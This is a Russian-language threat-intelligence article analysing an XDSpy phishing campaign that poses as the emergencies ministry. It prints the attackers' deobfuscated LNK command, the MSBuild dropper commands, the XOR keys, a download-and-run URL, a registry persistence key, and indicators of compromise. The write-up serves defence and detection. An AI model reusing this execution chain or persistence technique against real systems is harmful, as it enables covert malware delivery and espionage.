Шпион, выйди вон: группа XDSpy атаковала российские организации от имени МЧС

67211f597fa757b27491c35568b0f354.jpg

XDSpy —  одна из самых таинственных и малоизученных кибершпионских групп. Впервые ее засек в феврале 2020 года белорусский CERT, хотя сама группа активна как минимум с 2011 года. Большинство целей XDSpy находятся в России — это правительственные, военные, финансовые учреждения, а также энергетические, исследовательские и добывающие компании. Но несмотря на то, что XDSpy с завидной регулярностью появляется на радарах, международные специалисты так и не определились, в интересах какой страны работает эта хак-группа.

Итак, что случилось? Во вторник, 11 июля, Центр кибербезопасности F.A. C.C.T. получил оповещение о том, система для проактивного поиска и защиты от сложных и неизвестных киберугроз F.A. С.С.T. Managed XDR задетектила вредоносную рассылку. Системе потребовалось всего пару минут, чтобы «сдетонировать» вредоносную нагрузку и извлечь индикаторы, по которым удалось атрибутировать атаку к шпионской группе XDSpy. Среди вероятных целей хакеров оказались несколько российских компаний и организаций, и один из известных научно-исследовательских институтов.

Изображение 1. Процесс извлечения вредоносного файла по ссылке в письме в системе  .

Изображение 1. Процесс извлечения вредоносного файла по ссылке в письме в системе

Изображение 2. Атрибуция с помощью F.A.C.C.T. Threat Intelligence по домену files-manager[.]com, содержащему полезную нагрузку.

Изображение 2. Атрибуция с помощью F.A. C.C.T. Threat Intelligence по домену files-manager[.]com, содержащему полезную нагрузку.

Письмо-приманка, подписанное Министерством по чрезвычайным ситуациям, довольно странное — тема сообщения абсолютно не соответсвует функциям МЧС. В тексте письма получателей просят посмотреть список сотрудников компании, которые «могут симпатизировать группам, дестабилизирующим внутреннюю ситуацию в России». Отправители письма угрожают, что в случае отсутствия ответа, против сотрудников будут приняты юридические меры.

Изображение 3. Скриншот письма-приманки из рассылки, которая шла в ночь с 10 на 11 июля.

Изображение 3. Скриншот письма-приманки из рассылки, которая шла в ночь с 10 на 11 июля.

Под видом файла-приманки Spisok_rabotnikov.pdf со списком врачей (!) одной из клиник Ростова-на-Дону загружается вредоносная программа, которая собирает чувствительные данные и документы с компьютера жертвы.

Изображение 4. Ряд выявленных индикаторов в результате детонации вредоносного экземпляра в Malware Detonation Platform F.A.C.C.T. MXDR.

Изображение 4. Ряд выявленных индикаторов в результате детонации вредоносного экземпляра в Malware Detonation Platform F.A. C.C.T. MXDR.

После обнаружения новой кампании XDSpy Аветик Надирян, руководитель группы по выявлению и реагированию на киберинциденты Центра кибербезопасности F.A. C.C.T., провел первичный анализ рассылки для ее атрибуции и определения масштаба атаки, а затем к реверсу подключилась «тяжелая артиллерия» в лице Дмитрия Купина, ведущего специалиста по анализу вредоносного кода компании F.A. C.C.T. Их находки и индикаторы компроментации мы приводим ниже.

Анализ рассылки 11 июня

Внутри письма содержится гиперссылка hxxps://files-manager[.]com/document/Spisok_rabotnikov/Spisok_rabotnikov/idx/download/grWUbTk00UWnSutvoJLaUkJyI в имени документа Spisok_rabotnikov.pdf, которая ведет на загрузку вредоносного архива Spisok_rabotnikov.zip.

f44ee34063ec5952dc1549196b1de4bf.png

Архив Spisok_rabotnikov.zip для рассылки был подготовлен 10.07.2023.

55888326b48f3fc0f72fbe28534fbb0c.png

Архив Spisok_rabotnikov.zip содержит 2 файла:

  • Spisok_rabotnikov.lnk — запускает C# код задачи UTask, содержащийся в файле .DS_Store.

  • .DS_Store — содержит мусорные строки, команды оболочки командной строки, C# код задачи UTask, настройки проекта сборки и закодированную алгоритмом Base64 полезную нагрузку, которая представлена в виде 9 исполняемых файлов: две DLL легитимные, а остальные семь DLL — задачи, запускающиеся через MSBuild.exe.

В результате выполнения задач происходит демонстрация файла-приманки, скрытая загрузка файла полезной нагрузки HealthDataExperience.exe с сетевого ресурса files-manager[.]com и его последующий запуск. Подробное техническое описание функциональных возможностей представлено ниже.

LNK

LNK-файл Spisok_rabotnikov.lnk предназначен для запуска C# кода задачи UTask, содержащегося в файле .DS_Store. Команда в LNK-файле обфусцирована и имеет следующий вид:

forfiles.exe /p %USERPROFILE% /s /m *Spisok_rabotnikov.zip /c "0x630x6d0x640x2e0x650x780x65 /0x63 0x630x64 %TEMP% & 0x74ar -0x78f @path 0x2e* & 0x630x6d0x640x2e0x650x780x65 /q < %TEMP%\0x2eDS_Stor0x65"

После деобфускации команда имеет вид:

forfiles.exe /p %USERPROFILE% /s /m *Spisok_rabotnikov.zip /c "cmd.exe /c cd %TEMP% & tar -xf @path .* & cmd.exe /q < %TEMP%\.DS_Store"

Команда в LNK-файле выполняет следующие действия:

  1. Используя forfiles.exe происходит рекурсивный поиск архива по маске *Spisok_rabotnikov.zip, начиная с каталога текущего пользователя %USERPROFILE%.

  2. Переход в каталог %TEMP%, используя команду cd.

  3. В каталоге %TEMP% с помощью команды tar.exe (доступна, начиная с Windows 10) происходит распаковка файлов, имена которых начинаются с .* из обнаруженного архива Spisok_rabotnikov.zip.

  4. Запуск содержимого из %TEMP%\.DS_Store файла построчно, используя команду «cmd.exe <".

UTask (C# Dropper)

Файл .DS_Store содержит в самом начале мусорные строки (элемент обфускации), после которых следуют команды:

mkdir %USERPROFILE%\source\repos\FZdlyPUMslYX
cd %USERPROFILE%\source\repos\FZdlyPUMslYX
copy /Y %TEMP%\.DS_Store %USERPROFILE%\source\repos\FZdlyPUMslYX
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe %USERPROFILE%\source\repos\FZdlyPUMslYX\.DS_Store >nul 2>&1
exit

В результате выполнения данных команд создается каталог %USERPROFILE%\source\repos\FZdlyPUMslYX, в который копируется файл %TEMP%.DS_Store, после чего происходит компиляция и запуск содержимого C# кода файла .DS_Store с помощью MSBuild.exe.

После указанных команд располагается C# код задачи UTask.

202aab87b384079514df6f100cb283be.png

Задача UTask выполняет роль дроппера. Код данной задачи обфусцирован и предназначен для декодирования полезной нагрузки (располагается после C# кода задачи UTask) и сохранения декодированных файлов полезной нагрузки в каталог %USERPROFILE%\source\repos\FZdlyPUMslYX:

  • IRVkMCvS.blob — XorTask (задача _aSyzNgT7d18NpzuJHYhlYrzXNPG)

  • jFXvSUwAb.blob — AntiSandboxTask (задача _fsh1fYMdExGdJ0UKqIXq0s0tLJG)

  • KNEdBVMwkY.blob — ExecuteTask (задача _dycW4DGLIQ75gosRrPdxqttPfkE)

  • kVaocWvcXxpj.blob — DownloadTask (задача _eXdtj65NprE9kjSakYTX7tOsbLb)

  • MuIJdGFgmniD.blob — SlowdownTask (задача _huo7h8CP6Mizq9S4Dg5zNuYyVyb)

  • nXkBdHyy.blob — HideTask (задача _SaCF5×1zV8jhINFNCliJJ0Atydp)

  • xnhvkUzROwkSr.blob — GuardTask (задача _FkOdNAsgTdH0tOPitrVXFSQ991z)

  • Microsoft.Build.Framework.dll — легитимный файл

  • Microsoft.Build.Utilities.Core.dll — легитимный файл

Полезная нагрузка содержит 9 исполняемых файлов, каждый из которых имеет следующий формат в закодированном виде:

2bdc838a95d64430a7a94f4a5ec38844.png

Файлы *.blob динамически подключаемые библиотеки (DLL) формата PE32, реализованные на .NET и обфусцированные, предположительно, кастомным ConfuserEx.

После выполнения задачи UTask, MSBuild.exe последовательно исполняет задачи:  

nXkBdHyy.blob (HideTask), KNEdBVMwkY.blob (ExecuteTask), xnhvkUzROwkSr.blob (GuardTask), MuIJdGFgmniD.blob (SlowdownTask), jFXvSUwAb.blob (AntiSandboxTask), kVaocWvcXxpj.blob (DownloadTask), MuIJdGFgmniD.blob (SlowdownTask), IRVkMCvS.blob (XorTask), KNEdBVMwkY.blob (ExecuteTask).

25309713821478477ccc2c8d1b8064cb.png

Стоит отметить, что важные строки зашифрованы алгоритмом XOR с ключом 16 байт, который передается в параметрах со случайными именами в виде строки. В задачах: HideTask, ExecuteTask, GuardTask, SlowdownTask, AntiSandboxTask, DownloadTask; ключ 3309f5a10063afef30290e635561bcd8, а в задаче XorTask ключ a88194101b73a5b1ed1fff9ebf340726.

В таблице ниже представлены расшифрованные строки, передающиеся в качестве параметров указанным выше задачам, кроме HideTask, AntiSandboxTask и SlowdownTask.

Задача

Параметр

Расшифрованная строка

ExecuteTask

mkXFB6MZ8lmESONcDol1JTjR4Kq

hxxps://files-manager[.]com/document/Spisok_rabotnikov.pdf

ExecuteTask

mkXFB6MZ8lmESONcDol1JTjR4Kq

HealthDataExperience.exe

GuardTask

_VueDgAHltwEszdmBp5N8BtOpFUh

%temp%\zWOnFfZp

DownloadTask

_NGWUhdaVQc7D9i5aaMH5YMArRqk

hxxps://files-manager[.]com/document/Spisok_rabotnikov/E/idx/download/grWUbTk00UWnSutvoJLaUkJyI

DownloadTask

_msWUmumCLqCVU6edlovRYG0Y6Eg

HealthDataExperience.exe

DownloadTask

_BScGwQZfayw3c2LBgfvUA1e8AVg

Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 YaBrowser/22.1.0 Yowser/2.5 Safari/537.36

XorTask

_4fCwQ7rAqcME3wfkvX8av4ravkY

HealthDataExperience.exe

Краткое описание последовательности выполнения задач

0. UTask — декодирование файлов полезной нагрузки (располагаются после C# кода задачи UTask) и их создание в каталоге %USERPROFILE%\source\repos\FZdlyPUMslYX.

1. nXkBdHyy.blob (HideTask) — сокрытие активного окна запущенного процесса.

2. KNEdBVMwkY.blob (ExecuteTask) — открытие файла-приманки в веб-браузере по умолчанию: hxxps://files-manager[.]com/document/Spisok_rabotnikov.pdf.

227685fa801187ebaf8a73438791b6a3.PNG

5. jFXvSUwAb.blob (AntiSandboxTask) — проверка значений параметров VBAWarnings, AccessVBOM, ExtensionHardening ключей реестра [HKCU\SOFTWARE\Microsoft\Office{0}.0\Word\Security], где {0} — числа от 12 до 19 включительно.

6. kVaocWvcXxpj.blob (DownloadTask) — загрузка файла полезной нагрузки по ссылке hxxps://files-manager[.]com/document/Spisok_rabotnikov/E/idx/download/grWUbTk00UWnSutvoJLaUkJyI и его сохранение с именем %USERPROFILE%\source\repos\FZdlyPUMslYX\HealthDataExperience.exe.

7. MuIJdGFgmniD.blob (SlowdownTask) — временная задержка выполнения кода.

8. IRVkMCvS.blob (XorTask) — расшифровка загруженного файла полезной нагрузки %USERPROFILE%\source\repos\FZdlyPUMslYX\HealthDataExperience.exe.

9. KNEdBVMwkY.blob (ExecuteTask) — запуск загруженного файла полезной нагрузки %USERPROFILE%\source\repos\FZdlyPUMslYX\HealthDataExperience.exe.

Стоит отметить, что почти во всех задачах, кроме XorTask, добавлена проверка перед выполнением основного кода задачи. Проверка заключается в сравнении подстроки «fe» — 14 и 15 символ строкового параметра »3309f5a10063afef30290e635561bcd8» с прописанной в коде строкой «fe». Если подстрока отлична от «fe», тогда основной код задачи не выполняется.

XDSpy.Mainmodule — HealthDataExperience.exe

XDSpy.Mainmodule является исполняемым файлом формата PE32 и представляет собой агент, предназначенный для получения модулей, выполняющих основные вредоносные действия. Также XDSpy.Mainmodule обрабатывает команды, получаемые от сервера управления lifestyle-star[.]com:443 (91.235.116[.]194). Вредоносная программа обфусцирована и обладает техниками AntiVM и AntiDebug.

Вредоносная программа закрепляется в реестре ОС:

[HKCU\Environment] "UserInitMprLogonScript" = %USERPROFILE%\source\repos\\HealthDataExperience.exe

XDSpy пользовалась подобными техниками и раньше: в середине марта текущего года кибершпионы атаковали структуры МИДа России, а в октябре 2022 года — российские организации с фейковыми повестками от имени Минобороны.

Специалисты F.A. C.C.T. продолжают следить за XDSpy и ведут исследование полезной нагрузки XDSpy.Mainmodule из данной атаки. По мере поступления новой информации будут дополнять исследование.

Индикаторы компроментации (IOCs)

Файловые

Каталог

%USERPROFILE%\source\repos\

Файлы

%USERPROFILE%\source\repos\\.blob

%USERPROFILE%\source\repos\\HealthDataExperience.exe

%USERPROFILE%\source\repos\\.DS_Store

%TEMP%\.DS_Store

%TEMP%\ (пустой файл)

SHA-256 хеши

Spisok_rabotnikov.zip

9f2f6664297714290cb7e1740a1ca1a53957264d43e8662ffd4712c335e2ff30

18c111c6d6fbed436450e158e046ab13a572fb58ea2cc647d398e688061a880c

b4f0d197276d7a376ad376b3165736e70a2aa06003a5c73500b93d85df2ee7c8

Spisok_rabotnikov.lnk

a1bf620c66b8060423c36d07275d66c802af1463b533bc412705680b6c621ebe

9f51f81a395d1e7c2ff2ed9cdb61cd0ce12573523585c19695d8d8db3c8dd02e

14df219f9fc09d02ca35cb1c9a81e99d89385577d44d6b9887c22a02cb8e865b

b878ed1679b45df16f046ddc495150efd4d7e9fb9c7873c40d6368a8515ed1db

5ed56ba4a51516a8bbba25edaeefb0a382f3729c9b28b087962a455d36bb415c

.DS_Store

c296d67b23b2d6ee724aa4984d8acd16231037ac2c66f747213b8d8ee3ac530c

076fa1b5c47fb308fa7598b52cab52b736f079f33ddd1fdca160b3a1770d64a3

bd9abe9085034ac6b3c0ae66d45963ef72d310a8f5b4b6fb9464e00ade90c2c3

e3e706a66638136ebcba0cf7194708b1d2bae3edfc66bd16e4fefb17cdcbe69f

7081eba7ef918913aa2f84e52441ae163800965127567bde499ccebdf9973db9

HealthDataExperience.exe

9f07a6d5345aa1d1a4a906cb2672e33502783efade2b37ea6a5a85608cd8b722

Реестр ОС

[HKCU\Environment] «UserInitMprLogonScript» = %USERPROFILE%\source\repos\\HealthDataExperience.exe

Сетевые

Ссылки (URL)

hxxps://files-manager[.]com/document/Spisok_rabotnikov/Spisok_rabotnikov/idx/download/LSsyn5Hg8zSoOQA3rCwAeX6VC

hxxps://files-manager[.]com/document/Spisok_rabotnikov/Spisok_rabotnikov/idx/download/7lxPi6uv7HMWZqDRApOZXlDxS

hxxps://files-manager[.]com/document/Spisok_rabotnikov/Spisok_rabotnikov/idx/download/sbrD01qG7a8ZqdfAu5YTaDTg6

hxxps://files-manager[.]com/document/Spisok_rabotnikov/Spisok_rabotnikov/idx/download/DJ43gz32xiTgDMXNT7w7eU2t9

hxxps://files-manager[.]com/document/Spisok_rabotnikov/Spisok_rabotnikov/idx/download/LlPkkPSSeb5xzq0IoIKoWMBQN

hxxs://files-manager[.]com/document/Spisok_rabotnikov/E/idx/download/d0qUEl0rgGThHT2r6m0EzXJ7E

hxxps://files-manager[.]com/document/Spisok_rabotnikov/E/idx/download/7iYQUryqOsmAR6aFiYqckHW2i

hxxps://files-manager[.]com/document/Spisok_rabotnikov/Spisok_rabotnikov/idx/download/grWUbTk00UWnSutvoJLaUkJyI

hxxps://files-manager[.]com/document/Spisok_rabotnikov.pdf

hxxps://files-manager[.]com/document/Spisok_rabotnikov/E/idx/download/grWUbTk00UWnSutvoJLaUkJyI

Домены

files-manager[.]com

lifestyle-star[.]com

IP-адреса

185.56.136[.]50

91.235.116[.]194

© Habrahabr.ru